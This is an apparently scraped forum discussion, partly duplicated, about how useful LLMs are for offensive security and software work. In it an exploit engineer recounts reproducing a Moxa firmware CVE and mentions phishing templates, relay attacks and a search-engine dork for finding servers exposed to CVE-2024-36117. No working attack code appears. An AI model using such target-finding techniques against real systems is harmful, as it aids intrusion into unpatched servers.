So if you are an attacker, an LLM can help you a lot. If it’s wrong, you try something else. If it’s right, then you won.
This includes the attack, but also all the little scripts you make to attack. The only code path you care about is the happy path. The other code paths don’t matter.
However, 95%+ of building software is more like defense. If you’re wrong once, it can be catastrophic.
That is what I’m doing 95% of the time, and that’s where most of lobste.rs is at I believe. So I think that is a major reason why we have hugely divergent experiences with LLMs.
And also the HN comments above show that – many commenters are negative, and don’t have the same experience. But it just depends on what you’re doing.
Dismissing LLMs because you usually don’t have a use case for them is just as “wrong” as “pumping” them. Software is very big and diverse, and people will have different experiences based on what they’re doing
Simon W has pointed out that LLMs are hard to use, and from what I see, this asymmetry isn’t fully understood by users:
Defenders/creators are using LLMs to pump out crappy code, and not testing enough, or relying on the LLM to test itself. When you consider the entire software creation process, this can slow you down. Poor use of LLMs creates a testing burden. Software creation isn’t generally bottlenecked on writing code.
Some attackers might be too dismissive of LLMs, and could accelerate their work by using them to try more things, since they make (possibly incorrect) code cheap.
So if you are an attacker, an LLM can help you a lot. If it’s wrong, you try something else. If it’s right, then you won.
This includes the attack, but also all the little scripts you make to attack. The only code path you care about is the happy path. The other code paths don’t matter.
This depends. Attacking can mean quite a few things and this is only true for bug bounties, pentesting, and places where you can easily mask behavior or traffic. In places where you need guaranteed exploitation or cannot afford to have your costly exploits burned, such as real world attackers or red teaming where both need stealth, this just isn’t the case.
Also I don’t think that the happy path statement is accurate either, many many exploits I’ve written can get quite complex to logically chain together that require you to account for the sad path. For instance, this week I disclosed a RCE bug to a chat application vendor that required 25 requests, CAPTCHA handling, a bug in content type handling out of spec with HTTP RFC, and a PHP deserialization. That all required heavy checking for negative paths and retries for the couple of conditions that would require retrying and that isn’t that uncommon. Just think of time-based blind SQL injection to realize how important the sad path is.
Some attackers might be too dismissive of LLMs, and could accelerate their work by using them to try more things, since they make (possibly incorrect) code cheap.
I’m dismissive personally, because I’ve tried… Honestly quite hard. I sat down and desperately tried to make use of LLMs in my day-to-day as a exploit engineer doing N-day reproduction. Here’s some examples of things that have tried in the last week of working on this:
While reproducing Moxa CVE-2024-9140, I broke the workflow into chunks for ChatGPT and Mistral 7B to see if they help any part of my workflow and this happened: Both correctly got me basic binwalk commands for firmware extraction stuff, they both got the firware type wrong and in GPTs case told me it was the wrong type of firmware and got the layout and offsets wrong, I needed to pull encryption keys so asked for some examples despite knowing that this one existed in pre-init bootloader and both incorrectly pulled data from an outdated Moxa router that did not use this encryption format, they gave me correct AES-CBC implementations but also both could not seem to help me identify that the Moxa implementation changed constant values, they both gave me semi-helpful answers on how to identify that the firmware I was looking at was MIPS64BE for the binaries/vmlinuz, they both sort of gave me answers to QEMU commands but Gemini hallucinated a mtd command and neither could help me with speeding up making a custom uboot -bios binary that properly booted (tbf this was partially because of the next thing), they both lead me down a wrong path when the binary was segfaulting in QEMU nearly instantly on every one of their MISP64BE binaries to which they seemed to have inserted a CPU instruction that wasn’t recognized by any emulator and I had to patch out (which they also didn’t help me with in any meaningful way).
At this point is where I started getting annoyed, I was being led astray a lot, so I switched to “maybe they can help me with me RE steps since I don’t know much MIPS64BE”. They both pointed me at tools for bindiffing and pointed me correctly at Ghidriff for this, they sort of helped me identify the patch in the big binary that was shipped and how they shelled out to remove the backdoor user on every boot but one identified that system(3) call as a security vulnerability…. which it wasn’t, I then asked it for advice on where to look (I knew it was already a admin user left over from dev that’s inserted in early init) and one got the init wrong and for some reason would not listen that it was using busybox init and the other sort of gestured at it, neither even understood the basic non-standard filesystem layout.
I gave up at this point as I was losing far more time than this had helped me, and wrapped up the exploit on my own.
I have tried multiple times to game out old pentest engagements such as the one I modeled in these screenshots and about the only things I’ve found useful from output have been: generating targeted phishing templates, translating things on the fly quickly, spell checking and grammar checking writeups, sometimes tool suggestion, getting some ancient python2 ported to python3, and it got the impacket relay setup commands correct. That was it. I’m glad it works for some people, but in my personal experience LLMs have been less helpful than knowing how to use filters in Google and getting really good at Burpsuite.
EDIT: I also wanted to add that other ML tools are excellent for certain workflow things in attacking and WhisperCPP allowed me to dump compromised VoIP recordings en masse, I use a opus-mt-zh-en to do in-editor translation of Chinese code when, captcha cracking with graphical stuff. Tools with specific cases that do fit in the workflow are useful, I just am unimpressed with LLMs specifically for offensive work.
Just as with “an attacker only has to be right ONCE”, security in reality is far more about the proving a negative case and contextually understanding what a vulnerability actually is, and I find that these sort of tools happily parrot incorrect or misleading things that are critical for knowing how to identify the negative case. Most of this work isn’t helped by “try more things” it’s helped by “understanding what you are trying in the context of other things” and I don’t think these models are remotely good at almost that exact type of context oriented work.
So it’s really an analogy, not saying that LLMs are literally better for offensive security / attacking
Generally, attackers don’t mind if they are wrong, but defenders can pay a big price for being wrong
Similarly, LLMs are more useful where you don’t mind if you’re wrong, but LLMs are dangerous when being wrong is costly
So you are saying
When you’re pen testing, the cost to be wrong is low
But when you’re attacking a live system, the cost to be wrong is high, because you could be discovered
That makes sense
There is also kind of a P vs. NP analogy – for some problems a solution may be hard to come up with, but easy to verify. For LLMs, you want answers that are easy to verify, not hard to verify! Because then you have the anxiety of “Did the LLM confabulate, and I didn’t know it for years?”
When I say “happy path”, I really mean the happy path for the exploit (which could possibly be aided by an LLM), not the happy path for the system being explotied.
Quite the contrary, the exploits usually happen off the happy path of the system! But I’m saying that exploit code itself often doesn’t have a large range of inputs, or have a large state space – it is often a single, carefully crafted input, which demonstrates the vulnerability of the system. (And of course that single input may be tickling an extremely complex chain of vulnerabilities)
Thanks for the color on using LLMs for offensive security – that is interesting, and not too surprising to me. My initial experience with ChatGPT was very negative – it was obsequious AND wrong. It inspired contempt
Claude AI confabulates less, but it still does. I have a glaring example with HTML/XML where it led me astray for a minute
But overall I am more positive on learning how to use it. Because I have confidence it will get better, and it already helped me significantly
If someone says it doesn’t help them for their job right now, I 100% believe that. It is not helping me in MOST areas, or the most important ones, but it has done a few things that Google or Stack Overflow could never do
It is highly non-intuitive to use … it’s like working with an undergrad, who is kinda smart, but then randomly lies and makes up stuff …. We are still learning how to write these weird chatbot programs I guess, and we are learning how to use them
(Another tip I have - do not ask the LLM for facts, which can be wrong. Ask it to convince you, sometimes with an example, or a chain of reasoning. Breaking up prompts in a logical way does help use it more effectively IME.)
It’s definitely possible, and even likely, that LLMs will plateau – as AI has plateau’d many times in the past. We will likely have another AI winter after the hype/novelty wears off from this generation’s tech cycle.
But still I like that fact that you can run these locally, and they can be better than Google in certain ways. Whereas you could never run Google locally
I’d definitely be interested in more updates / color on how LLMs are useful / are not useful for offensive security! That’s a very interesting topic
When you’re pen testing, the cost to be wrong is low
But when you’re attacking a live system, the cost to be wrong is high, because you could be discovered
Yup! That’s a pretty good distillation of my point. In many ways security gets abstracted by all the bureaucratic layers and I always encourage people to “think like a real attacker”, the layers that lend themselves okay to the sorts of “more attempts is better” are generally divorced from what real attackers practice looks like. One of the more interesting ways to get a glimpse of this is this write-up by the person who compromised Hacking Team (slight nsfw ascii art and cussing). In these steps, walk through all the places that could go wrong if you took the more try everything approach.
When I say “happy path”, I really mean the happy path for the exploit (which could possibly be aided by an LLM), not the happy path for the system being exploited.
This is totally fair and I was torn between which way to interpret this. I mulled this over a bit and I think the reason I hesitated a bit on calling it even a happy path, is that many attacker techniques are actually just the expected functionality used in an unexpected way or in a way that uses incorrect assumptions from the target. It’s very common to use the exact same tools that a sysadmin uses and not even exploits that took time to develop (red team folk call it Living Off the Land, but in offensive sec it’s always been prevalent).
One of the things I should have pointed out more is how context of what the attacker is targeting is important to what is being targeted. There are many times when data in one system might not be considered that sensitive or valuable to an attacker, but re-contextualized with a different target might be worth it’s weight in gold. Knowing what is a good target is often as much of a human call as it is a technological one and even making the LLMs attempt to make that judgement seems deeply fraught because much of that information is industry specific to the point of obscurity, only discussed between businesses, and not well publicized. That sort of thing is not going to ever be helped by LLMs because they can’t know about it in the depth that’s useful to an attacker. I’ll use SWIFT SAG gateways as a good example or just any vendor software that’s paywalled and not scraped but secretly runs entirely categories of B2B businesses.
But still I like that fact that you can run these locally, and they can be better than Google in certain ways. Whereas you could never run Google locally
In security usage, search engines represent state not just knowledge retrieval! I search for `intitle:“Reposilite Repository”`` and I can get the currently index systems on the internet of potential targets for CVE-2024-36117. The other primary usage is searching for exact text that I see in source code, comments, decompiled data, documentation I only have partials of. Things that require trying to find direct linked data from that current state is actually primarily how I use Google (it has also gotten worse lol), I don’t just use it as a question answering machine.
The last thing I’ll say after having survived many friends working in hype oriented spaces over the years is this; you shouldn’t have to rely on “it’ll get better” for your value proposition. In my edit on my post I gave examples of ML who’s value was clear and usable to me from the second I saw it and I cannot say the same thing for the LLM realm. Any tech that sells itself as a solution looking for a problem I believe should not be treated with the same weight as things that solve clear problems.
I don’t think that “AI” models [a] (by which I mean: large language models) are over-hyped.
Yes, it’s true that any new technology will attract the grifters.
It’s very difficult to not read this as, “If you discount the over-hyping grifters, you will find that it’s not an over-hyped grift.”
Who else but grifters and the True Believers they swindle would over-hype anything? (To be clear, I’m specifically talking about over-type, not “just” hype.)
At this point, I would ask you to read up to the “nuance” section or even one more. This is someone who has studied, attacked, and to a certain extent reverse engineered machine learning models. I think he is talking about things that work and can be useful right now.
I understand that he isn’t trying to address the problems with LLMs, but he does list them. So I am going to respond that his list does not include energy usage. In the energy sector, there is a term called EROI, Energy Return on Energy Invested. Basically, if you use more than a barrel oil oil to pump a barrel of oil out of the ground, it’s a net loss for the planet, unless that is you’re using someone else’s barrel of oil in the first place. That’s what’s going on here, as all the compute energy is being subsidized for your benefit by the big companies to try to enter the market. Until someone does a thermodynamic analysis of LLMs I remain unimpressed.
The energy needed to run a prompt through an LLM has dropped by an order of magnitude over the past 12-24 months.
You can tell this from the pricing. Running a prompt through GPT-3 Da Vinci (at the time the best available model) back in November 2021 cost 6 cents per 1,000 tokens, which works out as $60/million. Today, OpenAI’s most expensive model is o1 at $15.00/million tokens - 1/4 of Da Vinci - but their more commonly used models are GPT-4o ($2.50/million) and GPT-4o mini ($0.15/million). GPT-4o mini is a massively more useful model than GPT-3 Da Vinci, and costs 400x less to use.
Not all of that price reduction is down to energy efficiency, but I’m confident that a whole lot of it is. The same trend is visible across every other model provider as well.
The new Mistral Small 3, released this morning, claims to be equivalent to GPT-4o mini and I can run that comfortably on my MacBook Pro.
Energy usage for training is still large, but energy usage for most inference is a rounding error these days.
I agree that money is a rough proxy for energy. How many billions have been spent on training models? For this investment, how much work has been saved? I don’t see billions there but maybe?
I don’t see that as compelling at all. That’s not how pricing works in general. Is your AWS bill a rough proxy for their energy costs?
I think the market-wide price decrease is exactly what we’d expect from ramping up competition in a new niche for services that are generally still trying to prove out their value propositions.
Yeah, I’m not about to claim that the huge cash investment around all of this has come close to paying off. The real expense isn’t even the training runs, it’s the enormous amount of hardware and data centers that have been built for this stuff.
I compared that to the buildout of the railways in the 19th century a few weeks ago.
my favourite remains a shitpost of theirs, the “cryptography tier list” - a good use of AI voice cloning. I wish presidential discourse was at that level.
This feels uncharitable. Read further into his bio, or look at some his publication history [arxiv.org]. He’s done high quality research into how ineffective many AI safety/security mechanisms are, which doesn’t seem compatible with pure grift to me.
Some hilarious papers from this author, underlining your point:
We first reveal significant flaws [of another paper] in the evaluation that point to clear signs of gradient masking. We then show the cause of this gradient masking: a bug in the original evaluation code. By fixing a single line of code in the original repository, we reduce Sabre’s robust accuracy to 0%. In response to this, the authors modify the defense and introduce a new defense component not described in the original paper. But this fix contains a second bug […]
And then, in the introduction:
Readers may be forgiven for mistaking this defense for a different defense—also with a flawed evaluation—
accepted at last year’s IEEE S&P 2023.
“AI safety” is as much part of the grift as the hypesters are. It implies a belief that it (“AI”) is a worthwhile field to pursue at all, while giving themselves a controlled opposition that still takes all the same baseline assumptions at face value.
It’s a bit like how christians conceptualize satanism as their perfect enemy: the same overall worldview and cosmology, just with the one wrong turn of worshipping the wrong guy.
People are building “AI” systems and integrating them into their workflows, products, and businesses. In my opinion, that reality makes security research important – regardless of whether one thinks that the field is “worthwhile to pursue at all”.
The more you comment here the clearer it is that you have not read the article or understood his perspective but are rather offended by the notion of someone writing about “AI” in the first place.
There is «AI safety» grift, which serves to promote the … let’s say shaky… assumptions «AI» grift wants promoted, and there is a part of «AI safety» field which looks like «will this hammer fly off the handle immediately» kind of safety.
I had some kind of impression but wasn’t sure about it until I reached the CUDA example. Nicholas is heavily directing the LLM with precise comments. The LLM saves typing probably and maybe avoids some tedious tasks but definitely not thinking. In the CUDA example, it took three or four iterations for it to actually remove data-dependent branching and each time, Nicholas was fairly detailled.
Optimistically, it does avoid thinking about the most incidental and most transient of complexity — «this parts looks fine, I accept it as long as the compiler does». It does not let to skip competence in the «inherent complexity» part. (Although unfortunately sometimes it lets one skip competence to get a bad result that falsely looks mediocre to incompetent observers, this real problem is not relevant to the described case of a competent user)
Yes, it could be seen as a more powerful completion (which is how it’s integrated in some projects and products). Here the author clearly shows deep domain knowledge which makes some of his claims quite a bit weaker compared to how they have been stated.
I think the author positions self as expert in the domain content and substance, but too annoyed by the churn of the tooling and the external form.
In a sense, LLM-being-useful highlights two large-scale trainwrecks at once: the same code being written again and again and again (so LLM has a ton of material to make writing yet another copy of it a translation task more than anything), and the churn making it possible to be a top-notch expert of function without being fluent in form…
I’m currently learning embedded Rust (which is kind of “hard mode” for Rust, I guess — no_std and async!). When I try to get help from GPT-4o/o1 or Claude 3.5 Sonnet, they both get caught in exactly the same cycle of randomly inserting lifetimes and curly braces to fix things that I do! I guess this makes me feel better? Maybe?
(BTW, Rust compiler folks: No,that variable is not borrowed in the previous iteration of the loop. You know it, I know it. Polonius has been in the works for six years. Why does the compiler still act like it’s so sure about that?)
For all the skeptical, the comments on HN when this was published were also skeptical – https://news.ycombinator.com/item?id=41150317
I agree this account is one-sided, but I don’t agree with commenters here that this person is being “interested”.
What I think it boils down is to the asymmetry between attack and defense.
Carlini has the fairly rare job of being an attacker: Why I Attack
The asymmetry is:
That’s what I was getting at in this comment: https://lobste.rs/s/v3zarc/they_all_use_it#c_gxaiou
So if you are an attacker, an LLM can help you a lot. If it’s wrong, you try something else. If it’s right, then you won.
This includes the attack, but also all the little scripts you make to attack. The only code path you care about is the happy path. The other code paths don’t matter.
However, 95%+ of building software is more like defense. If you’re wrong once, it can be catastrophic.
That is what I’m doing 95% of the time, and that’s where most of lobste.rs is at I believe. So I think that is a major reason why we have hugely divergent experiences with LLMs.
And also the HN comments above show that – many commenters are negative, and don’t have the same experience. But it just depends on what you’re doing.
Dismissing LLMs because you usually don’t have a use case for them is just as “wrong” as “pumping” them. Software is very big and diverse, and people will have different experiences based on what they’re doing
Simon W has pointed out that LLMs are hard to use, and from what I see, this asymmetry isn’t fully understood by users:
This depends. Attacking can mean quite a few things and this is only true for bug bounties, pentesting, and places where you can easily mask behavior or traffic. In places where you need guaranteed exploitation or cannot afford to have your costly exploits burned, such as real world attackers or red teaming where both need stealth, this just isn’t the case.
Also I don’t think that the happy path statement is accurate either, many many exploits I’ve written can get quite complex to logically chain together that require you to account for the sad path. For instance, this week I disclosed a RCE bug to a chat application vendor that required 25 requests, CAPTCHA handling, a bug in content type handling out of spec with HTTP RFC, and a PHP deserialization. That all required heavy checking for negative paths and retries for the couple of conditions that would require retrying and that isn’t that uncommon. Just think of time-based blind SQL injection to realize how important the sad path is.
I’m dismissive personally, because I’ve tried… Honestly quite hard. I sat down and desperately tried to make use of LLMs in my day-to-day as a exploit engineer doing N-day reproduction. Here’s some examples of things that have tried in the last week of working on this:
While reproducing Moxa CVE-2024-9140, I broke the workflow into chunks for ChatGPT and Mistral 7B to see if they help any part of my workflow and this happened: Both correctly got me basic binwalk commands for firmware extraction stuff, they both got the firware type wrong and in GPTs case told me it was the wrong type of firmware and got the layout and offsets wrong, I needed to pull encryption keys so asked for some examples despite knowing that this one existed in pre-init bootloader and both incorrectly pulled data from an outdated Moxa router that did not use this encryption format, they gave me correct AES-CBC implementations but also both could not seem to help me identify that the Moxa implementation changed constant values, they both gave me semi-helpful answers on how to identify that the firmware I was looking at was MIPS64BE for the binaries/vmlinuz, they both sort of gave me answers to QEMU commands but Gemini hallucinated a mtd command and neither could help me with speeding up making a custom uboot
-biosbinary that properly booted (tbf this was partially because of the next thing), they both lead me down a wrong path when the binary was segfaulting in QEMU nearly instantly on every one of their MISP64BE binaries to which they seemed to have inserted a CPU instruction that wasn’t recognized by any emulator and I had to patch out (which they also didn’t help me with in any meaningful way).At this point is where I started getting annoyed, I was being led astray a lot, so I switched to “maybe they can help me with me RE steps since I don’t know much MIPS64BE”. They both pointed me at tools for bindiffing and pointed me correctly at Ghidriff for this, they sort of helped me identify the patch in the big binary that was shipped and how they shelled out to remove the backdoor user on every boot but one identified that
system(3)call as a security vulnerability…. which it wasn’t, I then asked it for advice on where to look (I knew it was already a admin user left over from dev that’s inserted in early init) and one got the init wrong and for some reason would not listen that it was using busybox init and the other sort of gestured at it, neither even understood the basic non-standard filesystem layout.I gave up at this point as I was losing far more time than this had helped me, and wrapped up the exploit on my own.
I have tried multiple times to game out old pentest engagements such as the one I modeled in these screenshots and about the only things I’ve found useful from output have been: generating targeted phishing templates, translating things on the fly quickly, spell checking and grammar checking writeups, sometimes tool suggestion, getting some ancient python2 ported to python3, and it got the
impacketrelay setup commands correct. That was it. I’m glad it works for some people, but in my personal experience LLMs have been less helpful than knowing how to use filters in Google and getting really good at Burpsuite.EDIT: I also wanted to add that other ML tools are excellent for certain workflow things in attacking and WhisperCPP allowed me to dump compromised VoIP recordings en masse, I use a opus-mt-zh-en to do in-editor translation of Chinese code when, captcha cracking with graphical stuff. Tools with specific cases that do fit in the workflow are useful, I just am unimpressed with LLMs specifically for offensive work.
Just as with “an attacker only has to be right ONCE”, security in reality is far more about the proving a negative case and contextually understanding what a vulnerability actually is, and I find that these sort of tools happily parrot incorrect or misleading things that are critical for knowing how to identify the negative case. Most of this work isn’t helped by “try more things” it’s helped by “understanding what you are trying in the context of other things” and I don’t think these models are remotely good at almost that exact type of context oriented work.
Thanks for your thoughts, very interesting
I could have been clearer that the core issue is “the cost to be wrong”, which I framed it as in this older comment - https://lobste.rs/s/v3zarc/they_all_use_it#c_gxaiou
So it’s really an analogy, not saying that LLMs are literally better for offensive security / attacking
So you are saying
That makes sense
There is also kind of a P vs. NP analogy – for some problems a solution may be hard to come up with, but easy to verify. For LLMs, you want answers that are easy to verify, not hard to verify! Because then you have the anxiety of “Did the LLM confabulate, and I didn’t know it for years?”
When I say “happy path”, I really mean the happy path for the exploit (which could possibly be aided by an LLM), not the happy path for the system being explotied.
Quite the contrary, the exploits usually happen off the happy path of the system! But I’m saying that exploit code itself often doesn’t have a large range of inputs, or have a large state space – it is often a single, carefully crafted input, which demonstrates the vulnerability of the system. (And of course that single input may be tickling an extremely complex chain of vulnerabilities)
Thanks for the color on using LLMs for offensive security – that is interesting, and not too surprising to me. My initial experience with ChatGPT was very negative – it was obsequious AND wrong. It inspired contempt
I mentioned some of my experiences the other day, why Claude AI sort of “flipped” the experience for me - https://lobste.rs/s/qczsgz/building_personal_software_with_claude#c_cusxdd
But overall I am more positive on learning how to use it. Because I have confidence it will get better, and it already helped me significantly
If someone says it doesn’t help them for their job right now, I 100% believe that. It is not helping me in MOST areas, or the most important ones, but it has done a few things that Google or Stack Overflow could never do
It is highly non-intuitive to use … it’s like working with an undergrad, who is kinda smart, but then randomly lies and makes up stuff …. We are still learning how to write these weird chatbot programs I guess, and we are learning how to use them
(Another tip I have - do not ask the LLM for facts, which can be wrong. Ask it to convince you, sometimes with an example, or a chain of reasoning. Breaking up prompts in a logical way does help use it more effectively IME.)
It’s definitely possible, and even likely, that LLMs will plateau – as AI has plateau’d many times in the past. We will likely have another AI winter after the hype/novelty wears off from this generation’s tech cycle.
But still I like that fact that you can run these locally, and they can be better than Google in certain ways. Whereas you could never run Google locally
I’d definitely be interested in more updates / color on how LLMs are useful / are not useful for offensive security! That’s a very interesting topic
Yup! That’s a pretty good distillation of my point. In many ways security gets abstracted by all the bureaucratic layers and I always encourage people to “think like a real attacker”, the layers that lend themselves okay to the sorts of “more attempts is better” are generally divorced from what real attackers practice looks like. One of the more interesting ways to get a glimpse of this is this write-up by the person who compromised Hacking Team (slight nsfw ascii art and cussing). In these steps, walk through all the places that could go wrong if you took the more try everything approach.
This is totally fair and I was torn between which way to interpret this. I mulled this over a bit and I think the reason I hesitated a bit on calling it even a happy path, is that many attacker techniques are actually just the expected functionality used in an unexpected way or in a way that uses incorrect assumptions from the target. It’s very common to use the exact same tools that a sysadmin uses and not even exploits that took time to develop (red team folk call it Living Off the Land, but in offensive sec it’s always been prevalent).
One of the things I should have pointed out more is how context of what the attacker is targeting is important to what is being targeted. There are many times when data in one system might not be considered that sensitive or valuable to an attacker, but re-contextualized with a different target might be worth it’s weight in gold. Knowing what is a good target is often as much of a human call as it is a technological one and even making the LLMs attempt to make that judgement seems deeply fraught because much of that information is industry specific to the point of obscurity, only discussed between businesses, and not well publicized. That sort of thing is not going to ever be helped by LLMs because they can’t know about it in the depth that’s useful to an attacker. I’ll use SWIFT SAG gateways as a good example or just any vendor software that’s paywalled and not scraped but secretly runs entirely categories of B2B businesses.
In security usage, search engines represent state not just knowledge retrieval! I search for `intitle:“Reposilite Repository”`` and I can get the currently index systems on the internet of potential targets for CVE-2024-36117. The other primary usage is searching for exact text that I see in source code, comments, decompiled data, documentation I only have partials of. Things that require trying to find direct linked data from that current state is actually primarily how I use Google (it has also gotten worse lol), I don’t just use it as a question answering machine.
The last thing I’ll say after having survived many friends working in hype oriented spaces over the years is this; you shouldn’t have to rely on “it’ll get better” for your value proposition. In my edit on my post I gave examples of ML who’s value was clear and usable to me from the second I saw it and I cannot say the same thing for the LLM realm. Any tech that sells itself as a solution looking for a problem I believe should not be treated with the same weight as things that solve clear problems.
Your comment here is excellent and I wish I could upvote it more than once.
I almost never upvote… your reply prompted me to in this case, so thanks!
It’s very difficult to not read this as, “If you discount the over-hyping grifters, you will find that it’s not an over-hyped grift.”
Who else but grifters and the True Believers they swindle would over-hype anything? (To be clear, I’m specifically talking about over-type, not “just” hype.)
I have found this same idea in many pro-AI text I’ve seen online and always found it baffling.
People who are simply mistaken, obviously.
See also: True Believers.
At this point, I would ask you to read up to the “nuance” section or even one more. This is someone who has studied, attacked, and to a certain extent reverse engineered machine learning models. I think he is talking about things that work and can be useful right now.
I understand that he isn’t trying to address the problems with LLMs, but he does list them. So I am going to respond that his list does not include energy usage. In the energy sector, there is a term called EROI, Energy Return on Energy Invested. Basically, if you use more than a barrel oil oil to pump a barrel of oil out of the ground, it’s a net loss for the planet, unless that is you’re using someone else’s barrel of oil in the first place. That’s what’s going on here, as all the compute energy is being subsidized for your benefit by the big companies to try to enter the market. Until someone does a thermodynamic analysis of LLMs I remain unimpressed.
The energy needed to run a prompt through an LLM has dropped by an order of magnitude over the past 12-24 months.
You can tell this from the pricing. Running a prompt through GPT-3 Da Vinci (at the time the best available model) back in November 2021 cost 6 cents per 1,000 tokens, which works out as $60/million. Today, OpenAI’s most expensive model is o1 at $15.00/million tokens - 1/4 of Da Vinci - but their more commonly used models are GPT-4o ($2.50/million) and GPT-4o mini ($0.15/million). GPT-4o mini is a massively more useful model than GPT-3 Da Vinci, and costs 400x less to use.
Not all of that price reduction is down to energy efficiency, but I’m confident that a whole lot of it is. The same trend is visible across every other model provider as well.
The new Mistral Small 3, released this morning, claims to be equivalent to GPT-4o mini and I can run that comfortably on my MacBook Pro.
Energy usage for training is still large, but energy usage for most inference is a rounding error these days.
I agree that money is a rough proxy for energy. How many billions have been spent on training models? For this investment, how much work has been saved? I don’t see billions there but maybe?
I don’t see that as compelling at all. That’s not how pricing works in general. Is your AWS bill a rough proxy for their energy costs?
I think the market-wide price decrease is exactly what we’d expect from ramping up competition in a new niche for services that are generally still trying to prove out their value propositions.
Yeah, I’m not about to claim that the huge cash investment around all of this has come close to paying off. The real expense isn’t even the training runs, it’s the enormous amount of hardware and data centers that have been built for this stuff.
I compared that to the buildout of the railways in the 19th century a few weeks ago.
He is the guest in the podcast episode on “Cryptoanalyzing LLMs” which I consider worth a listening:
https://securitycryptographywhatever.com/2025/01/28/cryptanalyzing-llms-with-nicholas-carlini/
Yes, which is why I submitted it here. Good episode and also a good article imho :)
my favourite remains a shitpost of theirs, the “cryptography tier list” - a good use of AI voice cloning. I wish presidential discourse was at that level.
The literal start of the bio:
Yeah, I’m sure this will be a completely impartial account.
I’m so absolutely tired of people trying to misrepresent themselves as the one “reasonable” grifter.
This feels uncharitable. Read further into his bio, or look at some his publication history [arxiv.org]. He’s done high quality research into how ineffective many AI safety/security mechanisms are, which doesn’t seem compatible with pure grift to me.
Some hilarious papers from this author, underlining your point:
And then, in the introduction:
Source: https://arxiv.org/abs/2405.03672
“AI safety” is as much part of the grift as the hypesters are. It implies a belief that it (“AI”) is a worthwhile field to pursue at all, while giving themselves a controlled opposition that still takes all the same baseline assumptions at face value.
It’s a bit like how christians conceptualize satanism as their perfect enemy: the same overall worldview and cosmology, just with the one wrong turn of worshipping the wrong guy.
People are building “AI” systems and integrating them into their workflows, products, and businesses. In my opinion, that reality makes security research important – regardless of whether one thinks that the field is “worthwhile to pursue at all”.
The more you comment here the clearer it is that you have not read the article or understood his perspective but are rather offended by the notion of someone writing about “AI” in the first place.
There is «AI safety» grift, which serves to promote the … let’s say shaky… assumptions «AI» grift wants promoted, and there is a part of «AI safety» field which looks like «will this hammer fly off the handle immediately» kind of safety.
I had some kind of impression but wasn’t sure about it until I reached the CUDA example. Nicholas is heavily directing the LLM with precise comments. The LLM saves typing probably and maybe avoids some tedious tasks but definitely not thinking. In the CUDA example, it took three or four iterations for it to actually remove data-dependent branching and each time, Nicholas was fairly detailled.
Optimistically, it does avoid thinking about the most incidental and most transient of complexity — «this parts looks fine, I accept it as long as the compiler does». It does not let to skip competence in the «inherent complexity» part. (Although unfortunately sometimes it lets one skip competence to get a bad result that falsely looks mediocre to incompetent observers, this real problem is not relevant to the described case of a competent user)
Yes, it could be seen as a more powerful completion (which is how it’s integrated in some projects and products). Here the author clearly shows deep domain knowledge which makes some of his claims quite a bit weaker compared to how they have been stated.
I think the author positions self as expert in the domain content and substance, but too annoyed by the churn of the tooling and the external form.
In a sense, LLM-being-useful highlights two large-scale trainwrecks at once: the same code being written again and again and again (so LLM has a ton of material to make writing yet another copy of it a translation task more than anything), and the churn making it possible to be a top-notch expert of function without being fluent in form…
I’m currently learning embedded Rust (which is kind of “hard mode” for Rust, I guess — no_std and async!). When I try to get help from GPT-4o/o1 or Claude 3.5 Sonnet, they both get caught in exactly the same cycle of randomly inserting lifetimes and curly braces to fix things that I do! I guess this makes me feel better? Maybe?
(BTW, Rust compiler folks: No,that variable is not borrowed in the previous iteration of the loop. You know it, I know it. Polonius has been in the works for six years. Why does the compiler still act like it’s so sure about that?)
[Comment removed by author]